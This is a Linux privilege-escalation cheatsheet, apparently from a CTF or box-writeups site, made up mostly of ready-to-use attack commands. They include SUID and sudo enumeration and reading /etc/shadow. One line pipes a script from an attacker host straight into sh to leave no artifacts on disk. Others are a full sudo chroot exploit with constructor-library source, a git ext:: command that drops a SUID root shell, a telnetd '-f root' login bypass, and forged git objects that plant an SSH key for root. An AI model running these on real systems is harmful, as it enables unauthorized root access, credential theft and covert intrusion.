Linux Privilege Escalation

The first three questions on every shell, who am I, what can I run as root, what is SUID, then the automated sweeps for everything I would miss by hand.

First three things on every shell, in order: who am I, what can I run as root, and what is SUID. sudo -l has handed me more roots than any exploit, and when it shows a binary, the next tab is GTFOBins.

The holy trinity#

Identity, sudo rights, SUID binaries, then capabilities, group-owned files and writable cron.

bash
# the holy trinity
id
sudo -l
find / -perm -4000 -type f 2>/dev/null

# capabilities, group-owned files, writable cron
getcap -r / 2>/dev/null
find / -group <group> 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*

# read the shadow file once you are root (or can)
cat /etc/shadow | grep <user>

Automated sweeps#

When manual enumeration runs dry, linpeas sweeps everything I would check by hand and colour-codes what is worth a second look. I serve it from the http.server above and pipe it straight into sh so nothing touches disk.

bash
# run linpeas from memory, no artifacts on the target
curl -s http://<LHOST>/linpeas.sh | sh

# pspy to watch for cron / root processes without root
./pspy64

Root jobs that ingest my files (os.path.join traversal)#

A root cron/timer that unpacks an attacker-controlled archive or git tree with os.path.join(dest, name) is a path-traversal write primitive: os.path.join throws the safe prefix away the moment a component starts with .. or /. Aim an entry at ../../../../../root/.ssh/authorized_keys and the root process plants my key for me.

bash
# git's porcelain refuses traversal paths (verify_path):
printf '100644 blob %s\t../../root/.ssh/authorized_keys\n' "$h" | git mktree   # fatal: ... contains slash

# so write the object DB by hand to bypass the client-side checks:
ssh-keygen -t rsa -N ''
# forge: blob(pubkey) -> tree(authorized_keys) -> .ssh -> root -> N x '..' -> commit
# zlib-compress each object into .git/objects/, point a ref at the commit,
# mark the repo as the "template"/archive the root job ingests, push, then wait
git remote add origin http://127.0.0.1:3000/<user>/<repo>.git
git push origin master --force

Vulnerable sudo (version + sudo-run scripts)#

Two things the moment sudo talks: its version (leaks even with no rights) and any script it lets me run as root with a wildcard argument.

bash
# version leaks even when "sudo -l" denies me
sudo -V | head -1

# CVE-2025-32463 (sudo < 1.9.17p1): -R/--chroot loads an attacker nsswitch.conf -> root
mkdir -p x/etc libnss_
echo "passwd: /x" > x/etc/nsswitch.conf
cp /etc/group x/etc
# sc.c: __attribute__((constructor)) void f(){ setreuid(0,0); execl("/bin/bash","/bin/bash",0); }
gcc -shared -fPIC -Wl,-init,f -o libnss_/x.so.2 sc.c
sudo -R x x

# sudo-run script that git-clones a URL I control -> ext:: transport RCE (CVE-2022-24439)
sudo /usr/bin/python3 /path/clone.py 'ext::sh -c cp% /bin/bash% /tmp/b;chmod% u+s% /tmp/b'
/tmp/b -p        # % stands in for spaces so git keeps it one arg; SUID bash = root shell

telnetd -f auth bypass (CVE-2026-24061)#

A locally bound Openwall telnetd plus a SUID telnet client is a free root: telnetd forwards the client USER env var into login unsanitised, so smuggling -f <user> logs in with no password.

bash
# spot it: telnetd on 127.0.0.1:23 + SUID telnet client
ss -tlnp | grep ':23 '
ls -l /usr/local/bin/telnet          # -rwsr-xr-x root root

# inject the login -f flag through USER -> passwordless root
USER="-f root" /usr/local/bin/telnet -a localhost
# then upgrade the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color; stty rows 50 cols 200
KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys